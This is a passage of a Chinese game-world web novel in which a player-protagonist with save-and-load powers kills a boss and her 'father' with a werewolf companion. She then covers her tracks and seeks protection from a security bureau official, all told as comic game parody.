虽然不能完全让boss失去异能，可8秒钟的触电debuff作为控制手段，加上她自己获得的100%的能力，足可以给她争取到吃药回血、调整走位的时间。
即使她自己也会“触电”，但她通过多次回档，已经可以熟练地适应这种状态了。
boss却不行！
眼看躲无可躲，血量也岌岌可危，朝晖便“biu”地一枪，正中对方胸口，把boss击退。
两人一直在近距离肉搏，这要是能给她打歪了，那她还是别混了，回家洗洗睡吧。
子弹命中，她熟练地往墙角一蹲，哐哐吃药，满意地看着boss稳定下降的血条。
只剩三分之一了。
哪怕强化了身体，在经过一段时间的酣战之后，光头女也已伤痕累累。
身上机械化的部位火花飞溅，露出断裂的电线、铁丝。
她无法再维持某些部位的强化，机械变为血肉，流淌的鲜血、难忍的疼痛带走了她的力气，让她的动作愈发迟缓。
可对面的敌人……
朝晖以一个可笑的姿势躲在墙角，眼神亮晶晶地盯着她，嘴里拿着一瓶药在喝——
那是外伤药剂，只能帮助止血愈合而已，且作用是外敷，根本不能食用！
但朝晖把它喝下去之后，身上的伤势便肉眼可见地愈合了，再次恢复神采奕奕。
这是不公平的战斗，光头女能察觉朝晖复制的能力不如她，可她们现在的位置早已对调。
这个敌人……
喝了药后，她便重整旗鼓，站起身来。
她看着光头女的眼神，甚至还兴致勃勃的，像是在看有趣的玩具，似乎没什么事情能让她感到紧张。
就像在玩游戏一样。
刚才喝药的那种状态，就像是游戏人物吃药回血……
【已触发精英级·紧急任务！】
【紧急任务·可疑的异能者：
一个强大的异能者，和她来历神秘的“父亲”，他们视人命如草芥，还在秘密地点进行着人体实验。
作为正义的偶像……嘶嘶……异能者，保卫城市是您的责任。
击败他们，获得奖励：魔法少女卡牌x1。
请注意：若因死亡而重新读档，您可能不会再次触发该任务。
进度：1/2。】
【魔法少女卡牌：
击败敌人后，用卡牌收集对方的异能。
您用“创作”制作的任何道具都可以对卡牌使用。】
朝晖：？
朝晖：！！！
“boss都快打完了才给我发任务？哼哼，算了，看在奖励的份上我就原谅你啦！”
光头女心中还在不断猜疑的时候，朝晖已经双眼发绿、如狼似虎地再次扑上来。
趁她病要她命，眼看着boss状态越来越不好、动作愈发缓慢，此时不上更待何时？
41. 云端能源（32）
死亡后，珍贵的任务可能不会再刷新，所以朝晖不得不更加惜命。
本来想着慢慢削boss血量、大不了重来的轻松心态，也有所改变。
战斗状态时不可以存档，接下来的每一步都必须非常小心。
第一个发现了她的变化的人，正是光头女boss。
boss不敢置信：“你现在才开始认真起来吗！？”
她觉得自己被深深地侮辱了！
此前“父亲”死亡，本就让她难以保持冷静。后来的战斗过程中，玩家又如打不死的小强一般烦人……于是恨意和恼怒冲淡了理智，让她不顾后果地使用异能强化自身，冲上前去！
“啊？还剩这么多血就狂暴了！”朝晖连忙闪身躲避，哇哇大叫，节节败退。
没办法，她毕竟只有75%的能力，两个人异能一模一样，但人家是正版，运用得也比她熟练，打得过才不正常。
她唯一的优势只是能回血，不怕疼，所以此刻状态比boss好一些。
朝晖觉得很难过，恨不得打开风灵月影*，直接把创作刷到满级，然后复制它七八个200%效果的异能把boss狂揍一顿。
在这种情况下，她勉强把boss的血磨到只剩10%左右，boss状态肉眼可见地下降。
但她的子弹和回血药也全部用完了，现在她的血量只剩30点。
从外表上看，两人均浑身鲜血、身上电线乱飞，地上散落着肉块和乱七八糟的线头。
30点血量相当危险，根据玩家的经验，普通攻击最多挨两下，要是被打中要害，十有八九就得凉。
但她似乎并不着急，在原地耐心等待，等待boss率先出手。
——先躲攻击，再利用boss技能后摇、僵直的时间反击，才是最谨慎的打boss办法。
朝晖没有任何攻击技巧，来来回回就是这么一套，一击不中就逃跑再来，把boss硬生生打累了。
boss仿佛是回光返照了一般，提起一股劲，开始进入最后的剧情：“‘游戏化’类？我知道一个这样的异能者。但你比她强多了……”
玩家竖起耳朵：“游戏化？”
“嗯，就像你这样，她可以让自己‘游戏化’。放技能、回血、做任务有奖励，但她的战斗力并不强，强在能力的灵活性和诡异性。”
“你真可怕……你到底是谁？安全局怎么会让你去当什么艺人，你应该去‘污染区’啊……”boss眼中满是疑惑。
玩家顿时信心满满地挺起胸膛：“我就是命运之子、最后的冒险者、拯救世界的唯一人选，你才知道啊？”
“哐！！”
boss忽然暴起，残破的身体上肌肉隆起，猛冲上前。
朝晖其实看见了她的动作，也尝试去躲避，却失败了，被擦到半边身体，整个人飞到墙上。
血量冒起红灯，只剩5点！！
朝晖的身体早已破烂得不成样子，半边手臂都要掉不掉地挂在身上，被她嫌碍事直接一把扯掉。
要是放在正常人身上，她早因为失血、疼痛而昏迷或者死去。
她从墙上滑落之后，接着一个翻滚，躲开boss后续的攻击，然后连续几个不规则的走位拉开距离，掏出手枪，一枪击退boss！
弹匣一共六颗子弹，十分钟回一颗，开战时她用掉四颗子弹，刚才陆陆续续又用掉两发。
她拼命拖长战斗，就是为了等子弹回复，给自己争取一些时间。
方才她想跟boss说说心里话来拖延时间，没想到狂暴的boss不吃这套。
好在，子弹于最后关头恢复了一颗，生死时速的感觉，让她惊出一身鸡皮疙瘩。
就在此刻，房间的大门忽然打开！
boss的眼睛睁大了。
明明就可以逃走，她却被朝晖关在这个地方，被生生磨到如此重伤。
在不知道朝晖是否还有其他后手的情况下，光头女boss的第一反应不是去给朝晖补刀，而是逃跑。
她中了触电debuff，但速度依然不慢，强撑着支起身体，转身朝着大门的方向遁去——那是生的方向。
然后，门口出现了一抹黑影。
一个……
那是什么？
她仿佛见到了一个身形纤细的少年，下一秒，他已经消失，光头女被一股巨力撞倒。
脖子一凉，她被什么东西叼起来，悬浮在半空。
脖子被强化过，然而身受重伤的她已然露出破绽。
咔擦一声！
boss的头掉在地上，她的眼睛无神地望着天花板，失去神采。
“上啊小李，咬她咬她！！”
朝晖连滚带爬地朝门口爬出去，把最后一个只能回一点点血的液体绷带给自己打上，“死了吗死了吗？”
“呜——”
她确认自己的血量勉强安全，不会忽然挂掉之后，便回头一瞧。
……哪里还有什么小李，只剩一只三米多长、牙齿又尖又长、长着乱糟糟灰黑色毛发的狗子（？）站在那里。
它嘴边绿油油的，boss的脑袋也绿油油的，掉在旁边，应该是死得不能再死了。
也许是生命力比较顽强，boss的脑袋都掉在地上了，血条却过了几秒才悠悠见底。
击杀成功！！
和“父亲”一样，光头女也给了她不少经验、金钱，眼看着她又要升级了。
当然，最关键的还是那个奖励。
“叮！您已完成【紧急任务·可疑的异能者】，您获得了【魔法少女卡牌】。”
“哇咔咔！！”
朝晖手舞足蹈，点击“确认领取”后，一张粉色的、比扑克牌略长一些的卡牌就出现在了她的手中！！
玩家立刻就把它贴在了boss的脑袋上。
boss的脑袋看起来有点血腥，不过由于血液是绿色的，加上朝晖从小就没少“翻墙”出去玩一些恐怖游戏，对此接受良好。
没过多久，系统便提示她，已成功获得异能！
这个存在卡牌里的异能，完全符合朝晖的设想：
它就像是把一个异能者随身携带着一样，想用的时候，把卡牌拿出来对它使用“偷窃”就可以了。
而且，系统还送了她卡牌册，她可以直接把卡牌放进卡牌册里，相当于一个只能放单一物品的随身空间，不需要时时把卡牌带在身上。
“哇！这也太爽了吧！！！！”玩家兴奋得快要起飞。
恨不得立即出现一个新boss，试试自己无敌强的新能力！！
李长庚：……
他无奈地“呜”了两声，朝晖这才想起正事。
说起来，她之前对这位未成年弟弟的异能有所怀疑，不仅仅是因为他速度快，也是因为——自愈这种能力，听起来就很不男主啊！
试问，假如乙游男主因为争风吃醋而吵起来了，其中一个变成帅气的大触手，神挡杀神；另一个召唤出能爆炸的火焰，所向披靡。
然后李长庚就抱着头搁那儿挨打？
假如女主遇到危险，经纪人可以用触手把女主带着跑路，余烬可以把敌人全炸了。
李长庚就对敌人说：“打我吧，别打她，我比较耐揍！”
这合理吗？
毫无疑问，这是非常不合理的。
所以她从几个周目之前，就开始诈小李弟弟，果然给她诈出来了。
这孩子的异能并不是自愈，自愈只是它的附加能力。
要去概括的话，用“狼人”更加合适。
这是“变身系”的能力，他可以变成狼，同时增强自身的多项属性，速度、攻击力、防御全面加强，也会获得快速愈合的能力。
如果不变狼，只是人，那么各项能力都会减弱很多，但也比寻常异能者要强，尤其是速度、自我恢复这方面。
唯一的副作用是……每到月圆之
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夜，他就会控制不住自己，要跑到没人的地方去嚎几嗓子。
这能力相当强，不过相对来说比较综合，也需要大量时间来练习如何运用。
所以朝晖思考之后，还是决定复制boss的能力来打架，那个伤害更高一些。
进入房间之前，朝晖就和他约好，如果她打出一个手势，就代表着她需要帮忙。
那时候boss估计也进入苟延残喘的状态，很难逃跑，李长庚就立刻冲进去补刀。
为此，玩家还特地问了系统，得知员工补刀的话，人头还是算她的，不会被抢。
嘿，那不就是召唤兽吗？
没想到区区乙游，还加装了类似宠物系统（？）的功能，不错。
小李全程紧张得不行，因为朝晖总是一副要死不死的模样，他不知道自己应不应该提前进去帮她。
好在结果是好的。
“走吧，你不变回来？”朝晖问。
她可能跟衣服有仇，这么一架打完，肉都没几块好的了，更别提衣服。
为了节省精力值，她已解除了复制异能状态，身体上的机械部分消失，看起来就更加凄惨。
李长庚……嗯，狗子它摇了摇头，暗绿色双眼中流露出人性化的无奈，伸出一只爪子指了指自己。
玩家一下子就明白了：
弟弟这个变身有限制，不仅一时半会儿变不回来，还不能说话！
现在可是大早上，这么大一头狼，加上她自己现在这副尊容……
她总不能大剌剌走出门去，说自己是来遛狗的吧。
朝晖立刻新存了个档，外出转悠一圈，把所有痕迹清理干净，给自己的身上简单擦了擦。
然后，她把李长庚变身前脱下来的衣服、“父亲”的衣服一共两套全部穿在身上，外面还裹了一件从柜子里找到的外套。
本周目她的目标是杀boss，对警察那边的警惕就放松了很多，也不知道能不能跑掉。
可是，为了不一定会再刷出来的“魔法少女卡牌”，她肯定不会直接读档，而是打算尝试挣扎一下。
安全起见，她和李长庚都没带手机，李长庚的车也停在很远处，他再下车跑过来。
“那就直接回去吧，你这个身材……也不是不能走下水道。”
这狗子虽然身材挺长、威风凛凛，但和人形态一样，骨骼形态完全就是未成年狗，整体还是比较纤细的。
朝晖打开门，探出头观察片刻。
boss战的位置，大约坐落于某座位于半山的别墅区，房子之间的距离不近，有绿化作为隔断。能在洛川住这样的房子，可不是有钱就能办到的。
也许是为了干一些见不得人的勾当，boss这栋房子隔音做的很好，外面暂时没有见到什么动静。
朝晖突发奇想：“杨勇会不会也住在这里？”
她回过头，看向狗子，认真道：“你能把尸体处理掉吗？这个就行，男的不用。”
她手指的方向，正是光头女boss。
李长庚：？
朝晖仿佛能看懂他的眼神，自然道：“就是吃掉尸体，这样可以转移警察的视线，找不到尸体就无法判定死亡，我们可以试试嫁祸给她。”
系统：……
李长庚：……
你要不要听听你在说什么！？！？
李长庚悲愤地看着她。
“不行啊……那就带着吧。你负重应该还行？”
朝晖又从房子里找出一个大行李箱，把光头女团巴团巴塞进去。
她的表情不像是个残忍的凶手，反而像是正在拼拼图的孩子。
打开别墅后门，李长庚很勉强地挤进了下水道，毛都掉了几缕——
然后是行李箱。
朝晖在后院车库里找到了汽车，把油弄出来撒在房子里，然后破坏消防系统，将房屋一把火点燃。
在确认火势一时半会儿无法熄灭之后，她掉头钻进下水道。
42. 云端能源（33）
有了员工代步，朝晖就不想自己游泳了——时不时喝到一口污水，哪怕关掉了嗅觉和味觉，感觉也很恶心。
于是她抱着行李箱扒拉在李长庚背上，让他游。
李长庚乍一进入下水道里，尚且能够勉强忍受。但没过多久，他就实在受不了了，伸爪子捂住自己的脖子，“呕——”地吐起来。
毕竟，狼形态的嗅觉比人形态好得多。
也不知道是触发了什么机关，总之吐完之后，他就变回了人。
并且把自己泡在水里，死活不愿意出来。
朝晖把外套脱下来丢给他，无奈道：“……这地方乌漆嘛黑的，啥也看不清啊。”
只有时不时路过下水口，上方会有光线投下。
两人继续游了一段时间，朝晖无法阻止自己的血液散布在周围的水域中。
她不了解警方的侦查手段，但如此大量的血痕，加上刚才处理boss战战场时，时间紧急、手法粗糙，破绽太大，这个存档应该不能要了。
按理说，为了节省时间，她应该现在就想想更好的办法，抓紧读档重来。
可是……
“这可是能存异能的卡牌啊……”
朝晖望向系统界面的卡牌册，满脸伤心。
最让玩家悲痛欲绝的事情绝不是死，而是眼看着奖励离自己而去。
她的表情之难看，以至于来到一处透光的下水口时，李长庚不经意地转头瞟了一眼，就被她给吓到了。
他语无伦次、结结巴巴：“疼吗？”
话刚出口，他却发现自己说了句废话。
朝晖新流出来的血，把她裹着的厚厚几件衣服全部打湿，浓郁的血腥味蔓延开来，肮脏的污水中也浸润着红色。
怎么可能不疼呢。
李长庚回头望向来路。
他比朝晖更清楚，警察出手之后，他们一定跑不掉。
毕竟，他以前就经常帮忙处理一些“小尾巴”，对其中的门道有着不少了解。
涉及到异能者死亡，警方肯定会出动异能者队伍来探查，身份暴露只是时间问题。
除非他们能找到更大的靠山，或者朝晖有什么别的、他想象不到的办法，否则一定会被抓起来。
他不是没在心中质疑过姐姐的决定——朝晖这么莽撞，听她的话，会不会反而葬送掉自己的生命？
多年以来，他们都如同下水道里的老鼠那样生存着。即使未来的道路上仍然一片黑暗，但偶尔能看见的光，却像幻觉一样支撑着他们前进。
现在，他之所以仍跟随着她，是因为朝晖已经把伊尔莎拉下水了。
“跑吧？”他突然说。
玩家抬头：“？”
“现在去接姐姐还来得及，我们可以去’污染区‘的外围居住……”
李长庚冷静地说，“之前我们就想去，但如果只有我一个人的话，很难保护姐姐。”
“加上您，只要保持低调，应该可以在那边安顿下来。”
他摸不清楚朝晖的异能，可光从她刚才与光头女的战斗来看，就绝不简单。
污染区是一个奇怪的地方，人们对其避之不及，却又对其中的某些东西趋之若鹜。
在污染区外围求生之人，也因为能够代替那些不想脏了手的“大人物”去里面工作，而被赋予特别的宽容。
假如他们能在警察查到这里之前，顺利地逃进污染区，低调一段时间，再想办法换个身份，那么后续很有可能就能活下来。
就算是有“搜查”类型的异能者，最终查到他们头上，一般也都会因为他们逃去了污染区，而选择袖手旁观。
除非……
除非这两个死去的异能者还有什么大靠山，那样的话，以朝晖和他两人的异能，应该也有办法找到愿意收留他们的势力吧……
他默默地想着，越想越焦虑，心脏砰砰地跳动。
要是朝晖点开了他的个人页面，就会发现他的好感度上上下下，变化个不停。
他陷入焦虑时，耳边却忽然传来朝晖的声音。
“诶，不用啊。”玩家奇怪地看了他一眼，“看来你很了解污染区？算了，现在有点不是时候，回头你再找时间，好好跟我说说。”
污染区这名字，一听就不简单，说不定能找到什么新boss、掉落新的魔法少女卡牌呢？
“？”
李长庚一愣。
“放心，你和莎莎都是我的员工，不会让你们死掉的……而且，假如身份暴露，导致我不能继续做主线，我也只能读档咯。”
想到这里，朝晖的表情更加难看，恶狠狠道：“不就是概率触发的隐藏任务吗，哼，大不了我再来一百遍，总会有的！”
她的脸皱成一团，但语气却一点也不惊慌。
极度的自信，势在必得。
似乎，她有百分之百的把握，让事情按照她的设想去发展。
……虽然这段话大部分他都没听懂，但那种气势，却是毫无保留地传达给了他。
李长庚慌乱的大脑、紧张的心跳都忽然停滞了，他被重伤的朝晖单手提着跳出下水道口——
已经抵达了预定地点。
李长庚的车就停在附近。
身体先于大脑行动，他反手把她抱着，化为一道肉眼几乎看不清的影子，几个起落就越过了巷子的高墙，钻进车里。
两人换了衣服、简单收拾了一下周围的痕迹，李长庚握住方向盘问她：“去哪儿？”
朝晖道：“先送我回宿舍。”
她还想再挣扎一下，万一混过去了呢？
不到万不得已，没必要冒着失去【魔法少女卡牌】的风险读档。
车行上路，朝晖拿小李的手机搜了下新闻，没发现什么消息。
本次存档内，她联络好经纪人和小李，就把自己的手机放在了莎莎宿舍里。
同时，她干掉杨帆之后，就在大厦大剌剌等着boss过来。所以她没有拿到极品晶石，李长庚也根本没有收到上级的消息。
李长庚可以摘出去，因为他没受伤，刚才在boss战的地盘上也小心地没有留下什么痕迹。
卫文谨可能会被怀疑，但问题不大，因为没有证据。
经纪人约见杨帆讨论公关事宜，这是非常合情合理的，他一下子就被朝晖打晕，和杨帆的助理并排倒地。监控摄像记录下了这一切。
莎莎却摘不掉。
因为她给朝晖做了假证明！
她本来想让莎莎给她做不在场证明，可是假如她一定会暴露，那就没必要把莎莎扯进危险之中。
“啧，看来莎莎只能假装啥都不知道了。”朝晖想着，给伊尔莎拨了个电话。
李长庚的耳朵“锃”地一下竖起来老高。
“长庚？”莎莎的声音小心翼翼的。
“是我啊，莎莎你听着，让你朋友把电话记录处理干净，然后你等会儿就出去晃一圈。如果有人问，你就说是我来你房间找你，但说完事情之后你很困就睡着了，接着我就不见了。差不多就找这么个理由。总之，你是不知道我去了哪儿的，明白吗？”
“明白。”伊尔莎立刻道。
“你用我的手机给猫猫打个电话，说我把手机落在你这儿了，让她来把我的手机拿回宿舍去。”
“好。”
朝晖忽然想起，自己“昨天”晚上，曾大言不惭地对猫猫说了些“我一定会帮你报仇”之类的装x的话。
她后续读档，都读二人谈话之后的档了。所以这段剧情是保留下来了的。
“呃……你想办法暗示一下猫猫，约她见面也行，就说我可能是去练习室之类的地方玩了，千万别让她在电话里瞎说啊。”
“好
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。”
朝晖点点头，觉得没什么要补充的地方了，“回见。”
莎莎宿舍的走廊上有监控，监控里肯定是没有朝晖出门的身影的，这是个漏洞。
但也符合“朝晖在伊尔莎不知情的情况下，偷偷从下水道离开”这样的剧情。
摘掉莎莎，最后如果只有她被抓了，想想办法说不定还能出来。
为了魔法少女卡牌，朝晖觉得就算蹲几天局子也没关系，只要放出来之后能继续拍综艺、当偶像，不影响主线任务，那就行了嘛！
接下来的问题就是，假如暴露了身份，该怎么保证自己不会真的蹲大牢呢？
思索片刻，她又给莎莎发信息，让她从自己手机通讯录中，翻出一个这段时间没怎么联络过的人，把电话发过来。
此时，距离她杀死杨帆，才过了不到两个小时。
时间是上午十点四十五分。
*
今天是周末，姜局长难得没加班。悠闲地睡了个懒觉后，她窝在公寓内的小沙发上吃着早午餐，泡了壶茶，正准备喝。
“叮咚”一声，提示音响起，她拿过手机一看：陌生短信。
短信内容：“我是朝晖，手机忘带了，借了别人的。姜姐，看到的话给我回个电话呀～～”
“……”
姜局长僵硬地停下泡茶的动作，深呼吸，走到阳台拨打电话。
“小朝，什么事啊？”
“姜姐，你有没有听说云端能源大厦那边出了什么事啊？”
姜瑶眉头一皱：“没有啊，怎么了？”
朝晖道：“哦，今天我的经纪人约了杨帆去谈事情来着，但我现在打不通他的电话了。”
这是真的，因为卫文谨早上的确给朝晖的手机发过一条短信，内容是说他去谈判了，叫她老实点别闯祸。
朝晖的回复是：好的。
这是他们提前设计好的内容。
“哦，那我等等再打一下试试吧。”朝晖说。
看来安全局还没收到消息？
“你等等，我看一下。”姜瑶却叫住了她。
根据姜局长的了解，朝晖这个人怎么会无缘无故给她打电话？
必然是她又闯祸了！
于是姜瑶打开自己的工作用手机，果然看见不少新消息。
但局里的值班人员没有拨打她的紧急联络电话，说明问题不是很大。
姜瑶快速翻了翻消息，的确是云端能源出事了，疑似出现凶杀案，不过警局那边也不过才刚刚控制好现场没多久，连初步调查都还没开始呢。
安全局这边也只是听说了消息，并没有收到警察局那边的正式文件。
姜瑶神经一跳，联想到朝晖刚才的话，心想该不是经纪人出事了？
“云端能源确实出事了，我打个电话帮你问问具体细节，看看你的经纪人到底什么情况。”姜瑶对朝晖道。
“哦哦，这样啊，你先不用打电话，没事。”朝晖道。
“？”
拿着电话的朝晖，正在处理光头女的尸体。
根据李长庚的情报，在洛川，处理尸体并不是一件很难的事情，警察破案也大都不依赖于此。
小李车上就放着“作案工具”——他在干“黑手套”的活儿时，时常会用到的某种高强度腐蚀液体。
出于成本考虑，《星光》拍摄地本来就位于城市内比较偏僻的位置，离郊区不远。
他们中途绕了一圈，在临近郊区的位置，找了个鸟不拉屎的地方，一瓶腐蚀液下去，光头女存在于世界的痕迹被完全抹除。
朝晖把特别材料制作的瓶子拧好，随手将其丢到【创作】存着：“姜姐，你知不知道一个光头女异能者，她的能力是可以让自己的身体强化为机械；和她在一起的还有一个被她称作父亲的人，他的能力是类似于追踪锁定？”
43. 云端能源（34）
姜瑶瞳孔骤缩。
作为安全局的副局长，她对整座城市内所有在档异能者的资料，不说烂熟于心，但也是有个大概印象的。
光一个的话，她可能还需要去查查资料、唤醒一下记忆；但两个特色鲜明的描述加在一起，她的大脑一下子就锁定了目标。
再结合云端能源、朝晖这两个关键词……
“你怎么会知道这两个人！？”姜瑶的声音都有点颤抖。
“啊，事情是这样的。”
朝晖本来就是抱着试试看的心态，看能不能抱上安全局的大腿，争取个减刑缓刑、把综艺主线走完。
于是她开始毫无感情地棒读，念出自己准备好的草稿：“这个光头女呢，她一不小心把杨……就是云端能源股东杨什么的儿子给杀掉了，正巧我溜出去玩，看到这一幕我就很愤怒啊！路见不平，拔刀相助，我追着她就打！
“结果她特别特别厉害，直接把我打晕，带到一个别墅区里。”
“我醒来后，发现她好像想对我做什么不好的事，我就誓死反抗，战况陷入胶着。混乱之中，她失手把她的‘父亲’给干掉了！”
“我眼看打不过，吓得掉头就跑，她就开始追杀我，我临走之前给那个地方放了把火。后来我就跑啊跑的，总算是把她给甩掉了，现在也不知道情况怎么样。”
“我马上就回到宿舍，应该不会影响到下午的拍摄吧？”
……
姜瑶沉默半晌，艰难地开口：“……你，再说一遍？”
朝晖已经回到车上，指挥长庚弟弟开车，听闻此言，她从善如流地把刚才说的话原封不动地重复了一遍。
旁听的李长庚：“……”
朝晖总是有着一种……让人紧张不起来的魔力。
或紧张或严肃的气氛，总是会在她奇奇怪怪的言语和行为下，被搅得一塌糊涂。
反正他，现在是不太焦虑得起来了。
比起焦虑，不如说是有点无语……
姜瑶也很无语，她此刻的心情简直难以用言语来形容。
非要总结，大概就是一句话：
“你认真的吗？”
明明每个字都认识，怎么组合在一起就有点听不懂了？
肯定是她昨晚上睡太晚了。
姜瑶“咕咚咕咚”地把一整壶茶都灌进了嘴里，试图让大脑重新恢复理智。
大约过了五分钟时间，姜瑶才整理好思绪，艰难地道：“你现在拨打的是我的私人电话，隐私级别很高，不会被调查……”
“你刚才那番话，我可以理解为，你杀死了杨……杨勇的儿子杨帆，以及吴昊父女二人，是吗？”
“吴昊是哪个？应该是吧。”朝晖说。
她还是这么爽快。
姜瑶的第一反应是，吴昊是个少见的“孤狼”，人缘不咋地。
不如说是许多人都讨厌他，恨不得他赶紧死掉算了。
他的异能比较特别，帮助他通过许多上不得台面的手段大肆敛财，杨勇正是他手下的一枚棋子。
明面上，他把自己云端能源的股份交给了杨勇，是他的恩人；背地里，他利用杨勇的身份做了许多他不方便去做的事情。
至于他的女儿，那是个被他洗脑的杀人机器，冷血残忍，臭名昭著。
但吴昊的人缘再差，能混到今天，背后里肯定也是有着一些利益关系的。
他们二人几乎形影不离，“女儿”的异能也非常强大。
朝晖……竟然能杀了他们？
她不只是个力量型异能者吗？
至于朝晖真正想杀的那个倒霉蛋杨帆，已经被她完全无视。
说句不好听的，和另外两个异能者死者相比，杨帆的小命不值一提。
姜瑶忽然开口：“你想要我保你？”
“嗯嗯！”
朝晖狂点头，“之前您说过异能者可以争取减刑缓刑的，实在没办法的话，能不能让我录完综艺再进局子啊？”
“……你到底为什么一定要录那个综艺啊！！！”
姜瑶头痛不已，“你老实告诉我，你为什么杀人？你的异能到底是什么？”
朝晖道：“你能保下我，我就告诉你。”
姜瑶：……
正在开车、不小心听完全程对话的李长庚：……
整件事情在姜瑶的脑子里过了一遍又一遍，一个被忽视的人物忽然跳出来。
她笃定道：“你是想杀杨帆，引来了父女二人，所以顺便杀了他们对吧。”
“嗯。”玩家诚实道。
姜局长不是没有关注朝晖此前陷入的风波，还因为公关问题和云端能源、番茄台双方对接过一次。
她忽然明白了什么：“……因为杨茉？至于吗？”
“啊，不只是这样啦。”
朝晖立刻用简洁的语言，把杨家人与猫猫室友之间的过往一一道出。
她正常讲话的时候，条理清晰、逻辑严谨、简洁明了，将一个让人听了有些难受的霸凌故事娓娓道来。
李长庚默默地开着车，眼神飘向窗外。
快要到中午了，太阳将大地照得一片明亮。
城市内数不清的阴暗角落，仿佛也在烈日之下无所遁形。
“总之就是这样，我快到宿舍了，等会儿就挂了哦。”朝晖说。
姜瑶默了默：“是帮你的室友报仇？”
“嗯，昨晚她跟我说了这事儿，我就连夜计划，今天早上就出发啦。”
朝晖摸了摸鼻子，没好意思把自己读档n次的事情说出来。
虽然就算她说了，npc好像也不会有什么反应……
“只是听你室友的一面之词，你就冒着如此风险而成为了‘审判者’吗？”姜瑶语气有点奇怪。
“？”
朝晖心想难道npc还会说谎？不至于把ai设置得如此智能吧！
再说了……
“想杀就杀了。”她道。
……
姜瑶不知为何沉默了片刻，“那你先回宿舍吧，回头我看看情况再联系你。”
“好的。”
姜局长其实一时半会儿也没什么头绪，她低声道：“你就……一点都不害怕？我不一定能帮的了你。”
朝晖莫名其妙，她怕啥？
然后她忽然反应过来，在npc的思维当中，进局子、甚至死亡，应该是很值得害怕的一件事。
也许是因为猫猫室友的影响，她发觉这些npc的智能都很高，互动性非常强。慢慢地，她偶尔也能体察到“他们”的思维方式。
“不怕啊，大不了就读档咯。”朝晖说，“区区一个魔法少女卡牌，我不信以后刷不出来。”
大不了就……咯。
还是朝晖一贯的语气，满不在乎的，无所畏惧的。
她到底有何倚仗？
姜瑶不知道，李长庚不知道，伊尔莎、卫文谨也不知道。
但直觉告诉他们，似
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乎她说的都是真的。
即将来到《星光训练营》拍摄地附近，朝晖还得从下水道钻回去，不禁催促：“我要挂了，有消息的话给我手机打电话就好。”
说着，她还打开备忘录看了一眼：“今天下午有拍摄，还要准备明天的直播，还要刷技能快快升级……唉，姜姐，早点给我消息啊！”
“……行，你先回去拍摄吧。”
下车前，朝晖也没忘记安慰未成年的弟弟：“放心，你姐姐不会出事的，我百分之百保证！你就回去好好呆着，有什么不对劲的马上打电话给我，知道不？”
“嗯。”李长庚静静地望着她，点头。
朝晖冲他挥挥手，把自己的东西收拾好，一转身钻进下水道口消失不见。
*
说起来可能显得有点没面子，但朝晖走下水道的动作，已经熟练得令人心疼了。
大约尝试了两三个短短的存档，她就摸清了《星光训练营》周围各种能钻人的管道位置，所以此刻的她没花多久就顺利找对位置，回到自己熟悉的宿舍。
她伸出一双手，拆开位于404宿舍厕所内的排风管道盖子，与正悄悄蹲在厕所里玩手机的猫猫室友大眼瞪小眼。
惊魂未定、差点尖叫出声的裴韫：“……”
“嘘！”
朝晖立刻对她挤眉弄眼一番，轻手轻脚地从管道里钻出来。
裴韫：“呕——”
下水道的味道属实感人，裴韫一时间没忍住。
她又尴尬又惊喜交织，道：“你，你回来了？我先出去，要不你先洗个澡——我给你拿衣服。”
朝晖毫不脸红：“差点忘了我还得洗个澡——唉，怎么自动回血的速度这么慢啊？”
她打完boss就只剩个血皮，后来又因为伤口缓慢掉了点血，过了这么久，竟然才回了几点。
系统：……能呼吸回血已经很强了好吗！？
裴韫捂住鼻子起身的功夫，朝晖已经快速把衣服脱了大半。
她这才发现，浓烈的臭气中还混杂着难以忽视的血腥气。
仔细一看，朝晖脏兮兮的衣服和身体上沾染的可不只是污渍，还有大量血迹。
她惊道：“你……”
“我先洗个澡！”朝晖已经把衣服脱干净了，裴韫只好连忙出门。
打开对方的衣柜，里面寥寥几件衣服，少得可怜。
脑中浮现出许多乱七八糟的想法，裴韫想起此前伊尔莎叮嘱她的话，把它们强行压下，闭口不言。
朝晖用猫猫室友的沐浴用品洗了个澡，身上没一块好肉，好在已经不掉血了。
她把换下的衣服丢进黑色垃圾袋，穿上长袖长裤的运动服，脸上几道伤口有点显眼，但没过多久就只剩下浅浅的白印。
虽然还在试图挣扎一下，但朝晖心里知道，本周目破绽太多，已经做好读档重来的准备。
但现在就读档，她又觉得很不甘心。
所以整个下午的拍摄，玩家就进行了一个超级摆烂！
练习？
练什么练，读档又不继承进度，还不如开开心心地玩！
玩家龙卷风卷入拍摄间，向每一个人昭告她王者重临的存在感！！
总导演接到无数下属打来的、控诉她行为的电话，只能把朝晖明面上的后台余烬，以及能跟她说上话的伊尔莎裴韫两人抓过来，无能狂怒道：“明天就要直播，快给我想个办法来管管她！！！”
三人：……
44. 云端能源（35）完
朝晖以为她要完蛋了，回到没被玩家拆掉的破棚子居住的李长庚也以为她要完蛋了，每晚都焦虑得睡不着觉。
奇怪的是，伊尔莎和裴韫两人倒是心态良好。
尤其是猫猫室友，明明知道朝晖肯定是去干了什么不符合社会主义核心价值观的事，却又不清楚具体是什么事。
在这样的情况下，她居然也保持了淡定。
经历了无数风风雨雨、十数次读档，玩家再一次于周日迎来了直播。
这回，裴韫没有搞事情，朝晖也懒洋洋的。两人均呆坐在后排，任由前排诸华清三人主持直播。
主持人拼命给裴韫眼神暗示，被她发呆无视。
朝晖也在发着呆，眼神游移，似乎注意到了挤眉弄眼的主持人，在她身上停顿了一下。
主持人：！
也许，在游戏中“见过血”，会改变玩家的气质。
不管是怪物，还是长得和人类一模一样的npc，只要杀掉过一次，就没什么可怕的了。
明明是漂亮的眼睛，看着她的眼神，却和看着地上的一块石头没什么两样。
不是高高在上，而是……完全不在意。
“藐视”和“无视”是不同的情绪。
人类看着猫狗牛羊等动物，眼神中当然有着不自觉的优越感，它们是宠物，是动物，是牲畜，是低于人类的存在。
对于部分人类来说，他们看向另外一部分人类的眼神，也是如此。
可如果是路边的一块石头呢？
恐怕只是眼神扫过而已，甚至不会察觉它的存在……
那种无波无澜、毫不在乎的眼神，就是此刻朝晖的眼神。
主持人手臂上忽然起泛起鸡皮疙瘩。
她一愣之下，沉默片刻，没能接上话。
另一个cue流程的主持人忙道：“现在我们请每位选手随机念一条弹幕哦……我数3、2、1，然后截图到的那一条就是幸运弹幕啦！”
第一个念弹幕的人是诸华清，她微笑着看向截图，然后顿住。
一般来说，洛川的娱乐节目在“观众参与”的随机环节中，不太会搞什么黑幕。
比如这种抽弹幕，抽到谁就是谁，直播软件的ai，已经可以过滤掉大部分不合适的内容。
